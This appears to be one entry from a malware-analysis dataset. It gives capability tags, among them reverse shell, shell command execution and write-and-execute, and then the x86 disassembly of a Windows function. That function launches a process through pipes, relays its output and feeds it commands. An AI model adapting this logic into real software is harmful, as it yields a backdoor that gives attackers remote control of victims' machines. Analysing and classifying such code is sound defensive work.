Function at 0x10005076
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x2c]
sub esp, 0x44
mov ecx, dword [0x1006dd5c]
push ebx
push esi
push edi
mov edi, dword [eax + ecx*4]
or esi, 0xffffffff
mov eax, dword [0x10072cb0]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x100050d5
push 0x10072cb0
call fcn.1003061c
pop ecx
cmp dword [0x10072cb0], esi
jne 0x100050d5
push ebx
mov ecx, 0x10072c10
call fcn.10004102
push 0x1005362f
call fcn.10030a71
mov dword [esp], 0x10072cb0
call fcn.100305d2
pop ecx
mov eax, dword [0x10072c90]
cmp eax, dword [edi + 4]
jle 0x10005112
mov edi, 0x10072c90
push edi
call fcn.1003061c
pop ecx
cmp dword [0x10072c90], esi
jne 0x10005112
mov ecx, 0x10072cb8
call fcn.10001fd4
push 0x10053625
call fcn.10030a71
pop ecx
push edi
call fcn.100305d2
pop ecx
lea ecx, [ebp - 0x28]
call fcn.10001fd4
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], ebx
cmp byte [0x1006eb2c], bl
jne 0x10005293
mov edx, 0x10061c28
mov ecx, 0x10070f58
call fcn.10005465
test al, al
je 0x1000541b
push 0x10061c30
call fcn.10037dca
pop ecx
mov esi, 0x10072cb8
push eax
mov ecx, esi
call fcn.1000545c
push 0x10061c3c
mov ecx, esi
call fcn.10004e05
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
push 0x10072bb8
push 0x10072c94
push 0x10072cac
mov dword [0x10072bb8], 0xc
mov dword [0x10072bc0], 1
mov dword [0x10072bbc], ebx
call esi
test eax, eax
je 0x1000543d
push ebx
push 0x10072bb8
push 0x10072cb4
push 0x10072c98
call esi
test eax, eax
je 0x1000543d
push 0x44
pop esi
push esi
push ebx
push 0x10072bc8
call fcn.10033130
add esp, 0xc
mov dword [0x10072bc8], esi
xor eax, eax
mov dword [0x10072bf4], 0x101
mov word [0x10072bf8], ax
mov ecx, 0x10072cb8
mov eax, dword [0x10072cac]
push 0x10072c9c
mov dword [0x10072c00], eax
mov eax, dword [0x10072cb4]
push 0x10072bc8
mov dword [0x10072c04], eax
mov dword [0x10072c08], eax
call fcn.10001eae
push eax
push ebx
push ebx
push 1
push ebx
mov esi, 0x10070f58
push ebx
mov ecx, esi
call fcn.10001eae
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, esi
push 0x10061c24
setne byte [0x1006eb2c]
call fcn.1000545c
mov esi, 0x10072c10
mov byte [0x1006eb2d], 1
mov ecx, esi
call fcn.1000423b
push ecx
mov ecx, esi
call fcn.100042d6
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.10001fe7
push 0x93
mov ecx, esi
call fcn.100044b2
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1006eb2c], bl
je 0x1000541b
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x10072c98]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 8], ebx
jbe 0x10005355
push dword [ebp - 8]
call fcn.10037a45
pop ecx
push ebx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push dword [ebp - 8]
push eax
push dword [0x10072c98]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0xc], ebx
jbe 0x1000534a
cmp dword [ebp - 4], ebx
jbe 0x10005315
push dword [ebp - 4]
lea ecx, [ebp - 0x28]
call fcn.10001eae
mov esi, dword [ebp - 0x10]
push eax
push esi
call fcn.10037a50
add esp, 0xc
test eax, eax
jne 0x10005318
push esi
lea ecx, [ebp - 0x40]
call fcn.10001f8b
mov eax, dword [ebp - 0xc]
sub esp, 0x18
sub eax, dword [ebp - 4]
mov ecx, esp
push ecx
push eax
push dword [ebp - 4]
jmp 0x1000532b
mov esi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x40]
call fcn.10001f8b
sub esp, 0x18
mov ecx, esp
push ecx
push dword [ebp - 0xc]
push ebx
lea eax, [ebp - 0x40]
push eax
call fcn.10003c73
push 0x62
mov ecx, 0x10072c10
call fcn.100044b2
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.10001f0f
push dword [ebp - 0x10]
call fcn.10037a40
pop ecx
jmp 0x10005372
sub esp, 0x18
mov ecx, esp
push 0x10061c24
call fcn.10001f8b
push 0x62
mov ecx, 0x10072c10
call fcn.100044b2
mov esi, eax
movzx eax, byte [0x1006eb2d]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, 0x10070f58
mov byte [0x1006eb2d], al
call fcn.10002329
test eax, eax
je 0x100053e7
push 0x10061c40
mov ecx, 0x10070f58
call fcn.10004e05
push 0x10070f58
lea ecx, [ebp - 0x28]
call fcn.10001edf
push ebx
lea eax, [ebp - 4]
mov ecx, 0x10070f58
push eax
call fcn.10002329
push eax
mov ecx, 0x10070f58
call fcn.10001eae
push eax
push dword [0x10072c94]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10061c24
mov ecx, 0x10070f58
call fcn.1000545c
jmp 0x100053ea
mov dword [ebp - 4], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1006eb2d], bl
jne 0x10005293
push ebx
push dword [0x10072c9c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x10072ca0]
call edi
push dword [0x10072c9c]
call edi
mov ecx, 0x10072c10
call fcn.10004816
push dword [0x10072c98]
call edi
push dword [0x10072cb4]
call edi
mov byte [0x1006eb2c], bl
mov bl, 1
lea ecx, [ebp - 0x28]
call fcn.10001f0f
lea ecx, [ebp + 8]
call fcn.10001f0f
pop edi
pop esi
mov al, bl
pop ebx
leave
ret